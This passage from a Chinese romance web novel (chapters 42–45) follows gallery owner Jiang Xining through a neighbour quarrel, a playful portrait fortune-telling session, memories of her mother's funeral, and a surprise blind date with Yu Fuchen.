阿旻忧心忡忡的站在一旁,老板前几次来宁城是瞒着所有人的,尤其是青城那边,这几点多少眼睛盯着老板这边的一举一动。
可是刚才他却被三两句话夸晕了头脑,不小心说漏了嘴。
万一江小姐是青城那边派来的人,来打探情报的呢。
好在他及时发现了对方试探的意图没再多说。
但还是有必要和老板报备,提请注意。
等于付忱挂了电话,阿旻汗流浃背的上前:“老板,江小姐在车上问到了您。”
于付忱听到这话抬头问:“问了什么?”
“她似乎有意打探您的消息,问我您以前是不是也来过宁城。”
于付忱眼睫动了动:“还有呢。”
后面打电话时,阿旻只听到电话里的人在问什么:目的什么的。
江熙宁回答的话说的比较小声,好像刻意防止他听到,放低了声音。他没太听清。
“江小姐说。”阿旻不敢胡诌,只好把自己听到的只字片语,一字不落的传达:
“放心吧……”
“他举不起来……”
“要扶着……”
42. 第 42 章
肖易病中汇报,除了身体好的差不多了之外。更重要的是,加班不让老板知道,这班算白加了。
何况来宁城之前,老板还给他三倍调薪,作为懂事的小助理,立刻汇报了于茂林那边的最新动向。
老板自从接手集团后,几乎将整个集团清洗了一轮,明着是清掉那些不赚钱的业务,暗着是为了拔除于茂林。不过于茂林这人手段高明,在集团给自己立了一个不干任何管理的闲云股东人设,背地里却在集团里安插的一众爪牙和棋子。
所以在众多棋子被清理之后,他依然相安无事。
不过,风过留声,雁过留痕,只要于茂林不打算收手,狐狸的尾巴自然会露出来。不然,武怡又怎么会被发现呢。
挂了电话没多久,肖易收到了老板的最新指示,本以为是青城那边的安排,结果老板发来一个酒瓶的照片。
老板:【去找找这个酒。】
老板:【买一箱。】
作为助理,了解老板的喜好是最基础的工作内容。肖易入职的第一天便知道,于付忱不喝酒。当初于茂林想往借着酒局的氛围往他的枕边塞人,挑了各色各样的美女,其中不乏演员明星,结果被老板一句不喝酒打发了。
一开始肖易以为老板是酒量差不能喝,但后来听家里老佣人提起,老板在大学的时候曾经一个人面不改色的灌了二十几瓶啤酒,把聚会的同学全喝趴下。在那之后,老板滴酒不沾,并且十分讨厌酒局。
肖易猜是那时候喝的够够的了。
可今天,老板主动提买酒。
他本能的问了句:【老板,这酒送谁?】
于付忱发来的图片,是一个花里胡哨的非常复古的瓶子,上面隐约标注着十年冬酿花雕的字样,怎么看都有点像是个三无杂牌。
送客户这酒是不是也太不上格调了些?
正纳闷的时候,肖易收到老板的恢复,只有三个字。
【自己喝。】
于付忱和肖易发完消息,收起手机。
此时阿旻正汇报到江熙宁打电话的内容,听到某两个字眼后,于付忱眼睛又一闭。
打开手机,撤回了上一条。
-
江熙宁因为解决了心中的一件大事,这一觉睡的格外沉。
以至于物业张经理给她打电话发消息,都没能吵醒她。
这时楼下响起一阵急促的敲门声。
江熙宁强撑开眼,胡乱的批了件外套下楼,咪蒙着眼开门,看见门口站着一男一女。
男人看起来四十出头,大腹便便,西装革履,脑门上抹着锃亮的发胶,鼻梁上架着一副无框的棕黄色眼镜,在日光下,目光像是被染了色。
站在他旁边的女人倒是瘦高,眼大眉细,薄唇冷面,看起来有点点熟悉。
女人率先开口,“张经理和你说了吧?我们想借你家的车位。”
江熙宁意识还没完全清醒,没理清当下是什么状况,但女人尖细的声音和颐指气使的态度让她想起了是这人,是隔壁的邻居么。
江熙宁随口道:“没说。”
听到这话,女人的脸色肉眼可见板起来。她五月初的婚礼,到时候家里会来客人,但小区里没有临时车位,物业协调出不影响通行的一条小区内行车道,但她嫌有点远,于是便想找周围邻居借。
江熙宁便是她计划的邻居之一。
“张经理发的时候我看着呢。”女人用一种戳穿江熙宁在撒谎的口吻说道。
女人担心物业做事拖三拉四,亲自盯着张经理发的消息,这一盯意外看到了江熙宁投诉物业的聊天记录。借车位的气焰也足。
江熙宁全然不知女人已经将装修期间,接到小区业主的投诉的悉数安在她身上。她抱臂站在门沿,面无表情静的看着对方:“我在睡觉没看到。”
女人忍不住刻薄:“作为邻居,怎么这么小气呢。”
江熙宁被吵醒本来就多少有点儿起床气,听她这么说被气笑,反问:“你这么大方,房子能借我住两天吗?”
女人一瞬被堵的说不出话,狠狠剜了边上默不作声的男人一眼,不想正巧看到男人鬼迷日眼的盯着江熙宁露在睡裙外的小腿和点着朱的莹白脚趾。
男人被抓包后,立刻敛了视线,正了正神色打圆场。
“美……邻居你好,实在是打扰,是这样的……”
江熙宁很不喜他看人时的视线,油亮油亮的,让人不舒服,她打断:“是挺打扰的。”
“……”
女人见状直说江熙宁什么态度,还算起旧账,“先前你多次投诉阻挠我们装修怎么说,我们念在都是邻居,好心没计较。”
这话说的叫一个大度。
江熙宁不偏不倚的迎上对方的目光:“那麻烦你计较一下,报警吧。”
“你!”女人正要发作,男人拉了拉她的衣袖。“以后大家是邻居,别搞得这么难看。”
女邻居在起头上,面子上挂不住,连着男人也一并骂:“你是不是看狐媚子长得漂亮,胳膊肘往外拐?”
男人人前失了面子,脾气也上来,“你在说什么?又要开始了是吗?要闹几次?平日里闹哪次没忍你?”
“好啊,你承认你受够了是吧。”
……
……
……
江熙宁莫名其妙的被卷入一场准夫妻的吵架中,在两人互相攻击诋毁的言语中,她总算知道这两人为什么总能吵架。
一个爱偷腥,一个爱刻薄。
吵起来谁都不服谁。
眼看两人动起真格,大打出手,江熙宁帮两人打了报警电话。
派出所的民警了解事实后,家庭纠纷口头上劝解一番,便算了事。但在别人的家里,上门挑衅,出手大闹,属于非法侵入住宅和寻衅滋事,民警将两人教育了一番之外,又罚了几百块。
处理完这对夫妻的纠纷,其中一位警察在走时,认出了江熙宁。
江熙宁这会儿已经完全清醒,也想起问她话的,是那天在医院一眼看出丁呈吸毒的老民警。
聊天中听到丁呈已经被拘留,之后会社区戒毒管理。
老民警言语之中旁敲侧击画廊应多留意和筛查,如果还有什么异样的情况一定要及时报警,还提醒她一个女孩子多注意安全。
江熙宁道过谢。
民警像普通聊天似的问了一些画廊相关的日常问题后便离开了。
-
配合处理完,江熙宁出发去画廊比平日晚了一个多小时。若是平日,晚了也就晚了,但今日她约了下一期展要合作的水墨画画家。
两人是第一次合作,也是第一次磨合,画家对她提出的水墨画和油画做混合展想法有顾虑。
出发之前,担心迟到,江熙宁提前发消息给乔西娅,告诉她自己这边的突发状况,防止画家一气之下走人。
好在还是被江熙宁赶上了。
画家经安,是个超级i人,平日里属于恐惧社交的一类。好在乔西娅一张巧嘴,开了一个聊天的好头。
江熙宁进办公室的时候,氛围看起来还算融洽。
“此刻从成立开始一直希望呈现当下的艺术形式和视觉体验,传统的画廊确实比较专注于形式上的统一,把中国画、油画分开展出,但这一次我们策展的主题‘自然之美’并不想拘泥于某一种艺术形式,同样的山川湖海,我们反倒是期望不同文化背景的艺术语言来表达这些。”
江熙宁表达着自己对新一期展的主题的畅想。
经安和江熙宁年纪相仿,性格腼腆,说话总是慢悠悠的,大多时候只是认真的在听。在充分理解了画廊的用意,打消了一些顾虑后,经安又问:“我想知道,为什么画廊选我的作品呢?”
江熙宁以前的展都是油画为主。在艺术风格上,是两种完全不同的表达,艺术家有自己偏好的风格,欣赏画作的人更是。
江熙宁笑了笑说:“我喜欢油画作品,是因为第一眼喜欢。喜欢您的作品,是因为第二眼很喜欢。”
油画的色彩,强烈而直白的表达内容,能在第一时间抓住她的眼球。水墨画,向来以意立象,经安又是把水墨画的极简,玩出抽象的画家。
这一次江熙宁选中合作的作品《看山,不是山》,用石青纸浆灌注出大面积的单色背景,保有留白在画纸中蜿蜒
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行走,勾勒出两山的容貌。
经安的画,让她喜欢的恰恰是没有画出来的部分,那些被隐藏起来的“水”的元素,留白形成的河流、飞鸟、云卷云舒。
藏匿声色于山影之中的国风浪漫。
经安听完解释,眼底漾出星星般的亮光,没说话,但是小幅度的点点头。
江熙宁心中松了一口气,知道这合作不会再有变动了。
等两人聊的差不多,乔西娅乐呵呵的拿来笔墨纸砚。看着这现场要作画的架势,江熙宁不明所以:“这是?”
乔西娅兴奋道:“你来之前,经老师提了一嘴她的独家绝活,我好奇的不得了,如果不是你中途要说正事打断,我现在都已经知道真命天子长什么样了。”
“?”江熙宁有些懵。
乔西娅解释起经安创作之外的一些个人玄学小癖好——看相。她能够根据每个人的面相和基本信息,画出TA未来伴侣的面貌。
“……”
这怎么听起来像网上的那些姻缘测试,只不过一个是用文字,一个是用画。
经安腼腆的笑了笑,缓缓说道:“我在朋友的身上试过,有的时候准,有的时候不准。有一些是局部像,有一些是气质像,图个娱乐就好。”
乔西娅的好奇心已经达到了顶峰,她对着经安说道:“你先帮她画。”
江熙宁心里其实也觉得神奇:“不过,为什么先画我,而不是你。”
乔西娅说:“我的鱼塘里样本多啊,我怕经安要算半天。”
江熙宁:“……”
两人你一句我一句时,经安挥笔,看了看江熙宁,然后闭眼,睁眼,挥笔。
墨水在纸上行走,快速勾勒出一张人物的脸。
经安的画讲究意蕴,江熙宁原本以为,不会太逼真。
但她想错了,经安非常善于抓住人物的精髓,笔墨不多,重在神韵,寥寥几笔便收笔。给人一种一笔不多,一笔不少的精准感。
黑色的睫毛,黑色的头发,再到黑色的眼睛……
组合在一起,让江熙宁的脑海中瞬间划过一张熟悉的脸。
就连黑色都像是某一种暗示。
……
斯!
江熙宁心底一惊。
巧合。
肯定是巧合。
随着最后一笔落成,乔西娅惊呼:“这特么好帅啊,符合你的择偶标准诶!”
“宁宁你这真命天子,看着怎么这么像一个人……嗯……”
江熙宁在乔西娅还没在脑海中搜索出答案的时候,打断:“……不像吧!”
乔西娅:“我还没说是谁呢,你想的是谁啊。”
“……”
没一会儿,乔西娅的那副也画好了。乔西娅凑过脑袋,仔仔细细的去看她的真命天子,盯了两秒后哈哈道:“这怎么看着像宁宁你啊?”
江熙宁看着纸上的面孔,说和她像其实有点牵强,因为画的是男性的脸,轮廓更硬朗,眼睛看起来更英气点。鼻子以下部位倒是有个六七分相似
乔西娅:“我未来的男朋友要是长宁宁模样,我乔西娅从此鱼塘放生,三千弱水只取一瓢饮。”
江熙宁:“和我长得像,男的……不就是我哥吗?”
“……”乔西娅听到这话,调戏江熙宁的笑容顿收,连连摆手:“不准,不准!”
科学的尽头是玄学,玄学未必是科学,没有科学依据,不必信的!
乔西娅问出江熙宁也想问的问题:“这……有什么科学原理吗?”
经安红了红脸,“这本来是我为了锻炼抓取人物神态基本功的一个小观察。后来我就把它变成了一个小游戏。这么多年观察下来我发现,认为准的通常是没有遇到那个‘命定’的人。”
一口气说好几个字,有点累,经安收起笔,顿了顿才继续:“满足这一点,不管我画什么样,只要画的不丑,其实大家都会信七分。”
大概觉得后面的不过是举一反三的话,经安没再说下去。
反之……也确实不必反之了。
因为光是前面几句话,已经把江熙宁和乔西娅两人都整沉默了。
43. 第 43 章【修】
乔西娅的人生中充满了玄学的加持。
上学的时候,每一次重大考试,乔妈妈都会带着她去烧香拜佛,在文殊菩萨面前献上虔诚的三叩首。
说来确实神奇,关键时刻她总是能够超常发挥,以将将过录取线的成绩,入读的宁城排名第一的初中和高中。
和江熙宁一路同校直到上大学的时候才分开。
唯一一次她拜了码头没应愿的是高考,乔西娅为了大学继续和江熙宁一起,去菩萨面前磕了六个头。不过成绩出来的时候,和江熙宁的分数差距有点大,被第二志愿的学校录取了。
后来,乔西娅才知道,她妈妈不希望自己的女儿跑到别的城市去,所以在菩萨面前加了一个限定条件:本地。
并且,磕了九个头。
乔西娅认为自己是输在了心愿不够具体,以及磕头的数量不够。对于玄学,她依旧保持着百分百的敬仰和虔诚。
于是经安的真爱画像后,她得了江印ptsd。
具体表现为,听不得关于江印的任何字眼。
这天,航航走进办公室,说让江熙宁检查下印好的画册,结果乔西娅大呼一声,“bullshit!”
航航以为是自己画册上出现了重大纰漏,来回查了一遍也没找到问题所在,江熙宁替她合上画册,忍笑:“下次你说‘打’好的画册,就好了。”
江熙宁对玄学自然是不信的。因为她和于付忱之间,没可能。暂且不说他是不是李晋许的兄弟,即使不是,只是刚认识的朋友,也没可能。
因为于付忱不久之后会回青城去,这一点从他这段时间一直住在酒店就能看出来,而她不会离开宁城的。
但心理暗示这东西,确实邪门的很。
会注意到平时没注意的细节,会生发出一些以前不会有的想法。
下午的时候,江熙宁联系于付忱商量这一次的拍卖的地点,她极力推荐放在青城。
“找青城的拍卖行合作,一来武怡和那边的拍卖行熟悉,不需要磨合。二来,范老的画,已经运输到青城去了,不用再运回来,免的藏品在多次运输中损坏。第三,秋拍的时候,你应该也已经回青城了,比较方便。”
江熙宁说的有理有据,言辞真诚。
其实还有第四点她没说,方便她找机会接近于茂林。如果在宁城,即使邀请于茂林参加拍卖会,他大概率会线上或电话委托竞拍,这可不是她想要的。
电话那头沉默了一阵后。
“好。”
于付忱语气平静道:“正好我家里人也喜欢收藏,方便他来参加。”
挂了电话,江熙宁抱着手机,足足高兴了三分钟。
原本她可以一直高兴下去,直到她下意识在心底说“真有默契。”
这种感觉就好像,你想吃饭,他递碗。你想喝水,他递杯,你想哭,他递纸。
普通的行为有了另类的解读后,江熙宁心底滋滋燃烧的小烛火,仿佛被春雨淋了个透,浇了个灭。
好在玄学的存在感,强烈依附于具体的人物和事件。只要于付忱不出现,江熙宁就可以将其抛掷在脑后。
事与愿违。
三人小群里,许久未出现的江印发现江熙宁改了昵称。
【画廊生意不好?】江印拍了拍发财,【缺钱?】
江印只要不在这个群里说话,这个群很等同于无。所以上次江熙宁为了加于付忱的好友改了名字后,忘记改回来了。
江熙宁没法解释,她其实是为了于付忱改的这名字。
发财:【女人不好色,那肯定爱钱。】
江印:【小财迷,你哥赚的钱都给你花。】
江熙宁回了一个双眼冒钱的表情包。
江印:【@于付忱,压力给到兄弟,努力把公司做大做强,家里有小财迷要养呢。】
大概是于付忱刚和她打完电话,手机还没离手,所以回的尤其快:【知道。】
江熙宁盯着于付忱的回复,脸慢腾腾的张红起来。
啪——
她把手机丢了出去,砸在桌上发出脆响。
见鬼,见鬼!
为什么隔着屏幕,听出了宠溺的语气。
发个OK手势就得了……
江熙宁干脆、果断、迅速屏蔽了三人群。
以至于她错过了,后面江印在群里发的,要买房的消息。
-
晚上,江熙宁回家时顺便去了趟干洗店,拿回了姜明初的外套和于付忱的西装。
这西装……
不会也是玄学让她穿上的吧……
江熙宁又是一麻。
车子开到小区门口,物业张经理看见她回来,走过来和她打招呼。
像是在等他回来。
“江小姐。”
江熙宁按下车窗,张经理带着歉意的面孔露出来,他主动提起上午的事。
说起她隔壁的邻居,张经理的气叹的比长江还长,装修的时候把周围一圈的邻居得罪了个遍,物业夹在中间工作十分的难做。
就这样得罪所有人,还逼着他去沟通这些邻居能不能借车位。
“实在是给闹的没办法,我才发的消息。没想到他们后面去找你了,还把警察给惊动了。”
江熙宁理解物业的难处
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,但她也不想对方后面又出什么幺蛾子,问道:“那车位的事,解决了吗?”
“你放心。”张经理立刻说,“之后应该不会再来找你借车位了。两人这么一闹,婚礼取消了。”
警察走了后,张经理又提了新的停车方案给对方,结果被告知用不上了,诅咒他坏人喜事,是要下地狱的。
好端端的被人扣了那么大的帽子,张经理郁闷了一天。当然也有自责,毕竟是搅黄了一桩姻缘。
江熙宁听完:“这不算坏人好事啊。”
张经理一时间没转过弯来,看着光线昏暗的车内那双明亮的眼。
江熙宁说:“在婚前发现彼此不合适,一律当作喜事处理。”
恰好后方有车来,她松开刹车,挥了挥手:“张经理,我先回家啦。”
张经理在思索这话,下意识答好的好的。
车开到环岛开始转弯,右转向灯像是车主那双漂亮又通透的眼睛,扑棱扑棱的闪动。
张经理一拍大腿,露出久违笑容,说的没错啊!
=
江熙宁第二天回了一趟姜家。
这一趟回去,才知道姜海澎突然犯了偏头痛。连着几日没好,整个人瘦了一圈,颊边的肉微微凹陷,眼下攀着一团青灰色。
“去医院看过了吗?”江熙宁很担心,偏偏这几日姜明初都不在家。“我哥怎么这时候住公司里去了?”
“小毛病,不用给他打电话。”姜海澎拦下她,“最近体育公园的项目启动了,火烧屁股的,我这一病不去公司,他只会更忙。”
建筑师这一行,加班熬夜是常态,姜海澎为此在公司专门设了休息室,就是为了方便开项目的时候忙到凌晨两三点,能倒头睡一觉。
江熙宁记得小时候,姜海澎特别忙的时候会直接住在公司。这期间若是恰好碰上梁媛去外地参展,家里就只剩下许姨带她和姜明初。
“我昨天梦见你妈妈了。”
姜海澎突然提及让江熙宁思绪恍了一阵。
她忽然想起姜海澎上一次犯头痛好像是在她妈妈过世的时候。
江熙宁很少会主动回忆起那段至暗时光。至亲离世的悲痛,还有梁家人在葬礼上的咄咄逼人、恶意嘲讽。每一个字,每一个句话,她都记得清清楚楚。
梁媛在国外骤然离世,她对于怎么去的国外,怎么回来都记不太清了,只记得前一天视频里言笑晏晏的妈妈,答应她回来给她补过生日。
可是一夜之间定格成相框里,再不会变化的黑白色。
二十岁的生日蛋糕她再也没等到。
等到的是葬礼上梁耀鳄鱼的眼泪。
44. 第 44 章
七岁那年,江熙宁跟着梁媛从青城回到宁城,刚开始的日子很艰难。
那时候的梁媛做了许多年的全职主妇,又是非知名画手,即没有稳定的收入来源,画画还需要投入不菲的材料费。积蓄不多的她只能选择带着江熙宁暂借住在娘家。
“嫁出去的女儿泼出去的水。”梁耀靠在沙发上,抖了抖手中的烟灰,语气不耐烦,当着梁媛的面冷嘲热讽:“自己回来就算了,这小拖油瓶带回来干什么,她又不姓梁。”
她又不姓梁。
年幼的江熙宁低头站在门后,双手不自觉的拽紧了裙角,梁耀的话每一个字都像钉子一样扎在心上。从那一刻知道,她在外婆家是不被欢迎的,是个包袱。
家里的纸巾用的比以前快了,前不久才买的一袋米空了,似乎任何的家用开支的超项,最后都会归咎于她这个“外人”的出现。
这样的生活,持续了三年。直到梁媛带着她搬进了姜家。
姜家,很温暖。
有对她视如己出的姜爸,有脾气温和的哥哥。
一切都在好起来。在外婆家的三年,不过是狂风骤雨的雷夜里,一个很快惊醒的噩梦
但噩梦去又复来。
葬礼上,梁家的亲戚陆陆续续的来,梁耀像是呼朋引客般招呼着众人,装模作样摸着眼角。
“我妹妹可怜啊,她可是个画家啊,死的早啊。”
“就这么走了,什么都没给我留下,只留下那些个画。那还是她走之前,说送我做纪念的。”
江熙宁听着那些刺耳的说辞,抬起头,“我妈妈没有把画留给你,是你抢走的。”
她的声音因连日的哭泣而沙哑破碎,却一字一句清晰地在灵堂里响起,交谈中的宾客们转过头来,目光在两人之间来回游移。
梁耀愣了一下,随即皱起眉头,语气不善:“你一个孩子,知道什么?”
“强盗,”江熙宁定定的看着眼前这个自称舅舅的人,重复,“你是强盗!”
梁耀狞厉的骂,骂完觉得不够,甚至上手推她,“你个白眼狼,忘了你和你妈回宁城的时候,吃谁的,用谁的!”
“我妈妈有给你生活费。”
就在梁耀扬起手臂时,姜海澎出现在她面前,一把将她扯在身后。
看见他来,江熙宁才敢哽咽:“姜叔叔。”
“没事,姜叔叔在呢。”姜海澎轻声安慰,这些年,梁耀与梁媛兄妹间的关系如何,他心里一清二楚,决然不会是梁耀说的,为了感激他对母女两的照顾,把画作给他。
“你妈妈的画,我们走司法程序。”
外婆在一旁听到姜海澎要起诉,立刻谴责江熙宁:“你怎么帮着外人,来对付家里人?”
江熙宁红着眼:“因为我也是外人。”
因为你们说的,我不姓梁。
-
“爸爸有没有考虑过再找一个?”江熙宁伸手拿过一旁的水杯和药,水温已经凉到刚好,既不烫口,也不冰冷。
姜海澎才四十多,面容依旧俊朗,与江熙宁七岁时第一次见他时相比,变化并不大。如果他愿意,想要再找一个很容易。妈妈,一定也希望他能过得幸福吧。
书房里安静得能听见时钟的滴答声。
姜海澎没有问她怎么突然这么问,只是温和的看了看她说:“没有。”
因为生病,脸上的笑意淡淡的,宽大的手掌轻拍江熙宁颊侧后的头发,就像她小时候那样。
十岁的江熙宁初到姜家时,他便接了一个新的项目,每天忙到很晚,但不管多晚回来,她总是会在房门口等他。
眼睛睁的圆圆的,带着些许困意,像一只被惊醒的小猫。
“姜叔叔,我听见了你的脚步声。”
姜海澎安抚似的一下一下的摸着孩子耳侧的头发,“不用等姜叔叔,下次宁宁先睡好吗?”
年幼的孩子嘴上答应,可是每次回来,她还是会醒。
钥匙插进锁孔的开门声。
走廊楼道里的脚步声。
楼下的咳嗽声。
甚至车胎碾过石子的细微的摩擦声。
在同龄孩子都睡得香甜的年纪,她的睡眠却格外浅。一开始姜海澎以为只是孩子听觉特别灵敏,后来才知道不是的。
梁媛带着江熙宁住在娘家时,和家里人尤其是她的哥哥并不和睦。为了早点带着江熙宁搬出来住,经常需要通宵画画,不停的去参展。那段时间,年幼的孩子需要面对的最大的难题是晚上一个人睡觉。
因为害怕,梁媛会让她开着桌旁的小台灯。但梁耀嫌孩子睡觉开灯浪费电,每次半夜打完牌回来,看见屋内亮着灯,会用力敲响房门。叫醒小孩:
“小孩子还不睡觉?”
“睡觉了不关灯?”
“电费不要钱?”
姜海澎不敢想,薄薄的木门在成年人的拍打下会发出多令人心惊肉跳的叫声,男人的尖利的嗓音是在深夜里又会多让人恐惧。
这个男人,他在梁媛的婚礼上见到了。近一米八的个子因为常年好吃懒做,横向发展的魁梧敦实。站在二十岁的女孩面前,居高临下、气势逼人,用粗壮的手指指着她的鼻子骂道:“你一个晚辈,来质疑我长辈做事?”
其他众长辈也围拢在一旁,跟着教训江熙宁,她站在那,纤细的胳膊捧着黑色的遗像,稚气未脱的脸上挂着亮晶晶的水痕,眼睛红肿的厉害。
姜海澎快步走过去,拉开众人,将她护在身后。
“这么多大人,欺负一个孩子算怎么回事?”
见到姜海澎,梁耀的嚣张的气焰更甚:“忘了问,你是以什么身份站在这里说这话的?我妹妹的姘头?”
葬礼上百分之八十都是梁家亲戚,那些不友好的、八卦的、围观与打量的眼神仿佛要将姜海澎看透、看扁,再拆骨剖腹。
“姘头?在这里耀武扬威的。”
“别人家的家务事,你掺和什么啊?”
“梁媛死了,也想来捞一点好处呗,坏透了!”
而这时,江熙宁往前迈了两步,站到他的身边。
站在所有人的对面。
改口,“他是我爸爸。”
不是姜叔叔,而是姜爸爸。
她的嗓子已经发不出声,声音轻的几乎听不见,因为用力还有些颤抖,可是他心里像是被什么狠狠撞了一下。
“我不允许你们,这么说!”
她一字一句的坚持。
梁耀依旧在歪斜着嘴角嘲笑:“有法律关系吗?今天给你做爸爸,明天就能给别人做爸爸。便宜爸爸也只有你上赶着要。”
纵使冷潮热讽和质疑声不绝于耳,可姜海澎觉得,其他的人这时候说什么都不重要了。
有什么比孩子的认可,来的更珍贵呢?
他还是和她小时候第一次见的时候一样,轻轻拍了拍江熙宁的颊侧的头发,郑重承诺:“我没有意愿,给别人做便宜爸爸。”
回首往事,姜海澎总是清晰的记住那天,他当着所有人的面说过,他这一辈子,无意再娶,梁媛便是他认定的妻子。他坚信时间自会证明一切。
午夜梦回,总是想起他当时的誓言。
姜海澎突然想起什么,神色沉下来:“你妈妈在梦里怪我没管好孩子。”
江熙宁以为说的是自己,“我妈严苛了啊,我这么优秀。”
姜海澎看了她一眼,眼神里带着几分无奈,却又宠溺。“是啊,那得是什么样的人,才能配得上我这么好的女儿呢?”
江熙宁笑盈盈地接过话头,语气里带着几分自得:“就是,能配上我的,该是多优秀的人呀。”她歪着头,故作认真地想了想,“这个世界上怕是找不出来吧。”
“那还真有一个。”姜海澎说:“爸爸,最近认识了一个不错的年轻人,去见见?”
“……”
江熙宁没拒绝。
她想让姜海澎高兴一点。
至于相亲。反正之前,姜海澎也操心过好几次,能入他眼的,必定是严格把关、层层筛选过的。人品上肯定不需要担心。
权当去认识个朋友。
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因为江熙宁应下,连着几日没怎么进食的姜海澎,晚餐多喝了一碗粥。
许姨看着精神头好了一大截的人,笑着对江熙宁说:“你爸啊,还得是你来哄。”
等姜海澎上楼休息,江熙宁忍不住问许姨,“最近家里是不是发生了什么事?我爸身体一向很好,怎么感觉他有烦心事。”
许姨叹了口气,这才说起前两天父子大吵一架的事。
江熙宁皱眉,难怪那天姜明初去画廊找她失魂落魄的。父子俩,脾气一个比一个好,她实在想不出两人会因为什么吵架。
许姨也说不清楚具体的原因,姜明初回来找姜海澎去了书房,之后两人都不太对,第二天,姜明初就没再回来住了。
“那天家里还有客人在呢,如果不是什么重要的事情应该也不会吵架”许姨也有些担心,她来姜家多年,也是第一次看父子两吵架
“客人?”
“棋友。”许姨说,“你爸说难得有围棋下的这么好的年轻人。”
-
姜海澎趁热打铁将时间约在了第二天,早上。
知道对方约的是爬山后,江熙宁的第一反应是对方喜好这么的……稳重和健康。
后悔,想拒绝,上了山顶,中途开溜还得爬下来,也太累脚了。
可都答应了。
连着几日的雨停后,山里的空气带着湿润的甜香,大片大片不知道名的野花露出了娇嫩的面容。
江熙宁来的路上,猜测对方要么就是年纪比她大不少,要么是受家中胁迫来相亲,特意挑了一个不容易获得女生好感的项目,和她一样来走个过场。
如果是后者,倒也是好事。
她已经想好了,就在山脚下这一带晃荡。聊两句,就撤。
姜海澎发来的地址在山入口的八角亭,她沿着蜿蜒曲折的石径小路向上消失在茂密的竹林后,脚步声沿着青石板路向前延伸,转弯,穿入亭中。
一道峻挺的身影撞入视线。
他穿着一身黑色的休闲服,柔软速干的材质贴合着身体的线条,走线在腰部微微收拢,勾勒出挺拔的身形。下身是同色系的黑色运动裤,简约利落。
与往日不同,没穿西装的他,少年气依旧。
已经等侯在亭中的人,听见动静,抬头也看见了她。
玄学中的人卜灵灵的出现时,江熙宁差点摔掉手机。这已经不是玄学,是邪门了,怎么会有这么巧的事情。
于付忱注视着目瞪口呆的女孩,很轻的抬了下眉,听见她问:“怎么是你?”
“家中人着急。”他回答的自然。
听他这么说,江熙宁多了一丝同是天涯相亲人的共情感。她的相亲对象是于付忱,震惊归震惊但比起和陌生人尬聊,似乎又好那么一些。
于付忱和她,至少还算是认识的朋友。
江熙宁狐疑道:“可是,你和我姜爸,怎么认识的。”
于付忱抬眸看她。姜海澎第一次邀请他上门的时候,他便知他有观察之意。
只是撮合之事,似乎比他预料的要久。
但他没提,只说:“我那天真又执着的弟弟,似乎有意博取你家人的好感。”
“……”
江熙宁听完精致的眉眼露出愠色,脸颊也因怒气染上绯红,她怎么觉得,姜海澎突如起来的头病和于天文找上门也有关呢。
“于付忱,”她说道:“管好你弟弟,以后不许再去我家里打扰我的家人!”
于付忱垂眸看她:“嗯,办法想了。只不过一个不管用,另一个——”
他停了两秒。
江熙宁顺势看过来。
于付忱淡淡:“还没实施。”
后面的话,他没有继续说下去。一句话断在重要信息的位置,提醒的意味更浓。
江熙宁想起了当时于付忱的解决办法提议,和他携手合作让于天文彻底死心。
此时,有一个大胆的猜想浮上心头。
难不成她的玄学是这个意思?
是造假玄学?
45. 第 45 章
“穿这样爬山?”
于付忱的目光落在江熙宁今日的穿着上。绿森林图样的裙裤套装,上衣是一件短款坎肩小衫,内搭一件钩针花样的白色背心,精致的镂空花纹像是山野间绿丛中大片大片盛开的小白花,清新又带着一丝慵懒的浪漫。衣摆随意地垂在腰间,若有似无的衬出盈盈一握的细腰。
下装是束身阔腿的款式,但版型走线该收的位置收,该放的位置放,藏起一双笔直修长的腿,却又藏不住腰胯的玲珑曲线。
大胆、繁复的样式,在她的身上十分有个性。
配饰也是设计款,耳畔坠着的金色耳环,左边是圆形,右边是方形,随着她的动作轻轻晃动,俏皮灵动。
这一身装扮,直接上秀场都毫不违和,爬山……
夸张了点。
江熙宁对上于付忱打量的视线,一种毫不掩饰已经看穿她用意的目光。她今日来之前,打算见个面走个过场,然后以有重要工作为由合理开溜。服装是为了让“工作人设”看起来更加可信。
只是没想到,玄学加身,相亲对象秒变于付忱。这准备的理由,用起来更加顺嘴。
“当然不是了!我很忙的,还得提早筹备拍卖会。”江熙宁巧笑嫣然,脸上展露出自己可是在努力工作的模样,强调道:“我也是对咱们这次合作的重视嘛!”
于付忱淡淡的啊了一声:“辛苦。”
“……”这语气听起来,不是很信的样子。
“既然是拍卖有关的工作,详细说说。”
江熙宁:“……”
这是要听她汇报工作?
行吧。
工作狂人设立的太满也不是什么好事。
正所谓,过犹不及。
亭子前有三条路,一条是向上通往山顶的,一条是向下她来时的路,第三条是平路,不知通向哪里。
江熙宁愣神的片刻,于付忱已经迈步朝着第三条平路走去。
脱离了相亲这种尴尬的心境,万物明朗的天气,一下子变得动人了许多。连着落了几日雨,今日是难得的晴天,久违的阳光穿透一片嫩绿洒在石径上,为这静谧的早晨镀上了一层温柔的暖意。
在大自然里聊工作,可比在办公室里怡人多了。江熙宁把自己这几日想好的计划周期都和一一讲了个遍。
于付忱沉静的听着方案,或提问,或表态。他虽然没有接触过艺术销售这一行,但是只要是合理的诉求,他总能恰到好处地给予支持,既不越界干预画廊的工作,也不敷衍当甩手掌柜坐等收钱。
就如同当初他接替于天文拍下所有的画后,修改了展览的时间确保画作的曝光一样。充分尊重合作伙伴的诉求。
堪称神仙甲方!
一路下来,江熙宁觉得付忱是个不错的合作对象。
对于画作的鉴赏,于付忱也并不全然是门外汉,尤其提到范老作品的了解,一点不亚于她的。在大学的时候,江熙宁没听李晋许提过于付忱的爱好,对此并不了解。所以知道于付忱也去了范老画展的时候,她挺震惊的。
直觉告诉她,应该是和于茂林有关系。就像她之所以喜欢范老的画,也是因为妈妈以前经常观察学习范老的技法,还会和她讲解画作独到之处,耳濡目染的熏陶。
“你喜欢范老的画,是因为家里人喜欢吗?”江熙宁脚尖轻踢一脚路面的石子,小石子顺着力向前滚了几步。她尽量让话题切入自然,生怕问鲁莽了和上次一样,被这人警觉的发现。
于付忱:“不是。”
猜错了?
江熙宁十分顺嘴的又问了句:“那是?”
于付忱突然停住了脚步,江熙宁也被动跟着止步。滚动的石子卸完力平稳的停在她的脚尖前方。
他侧身向她,垂眸,漆黑的瞳孔像无底的深潭,捕获落入其中的一切事物。
“因为,她喜欢。”
树叶在清风的撩动下沙沙作响,平静无波澜的语气被冲散在空气里。
却清晰得像是耳边的低语。
?
Ta?
江熙宁几乎在一瞬产生结论,这个ta不是于茂林。
又是在一瞬本能的问了句:“你喜欢的人?”
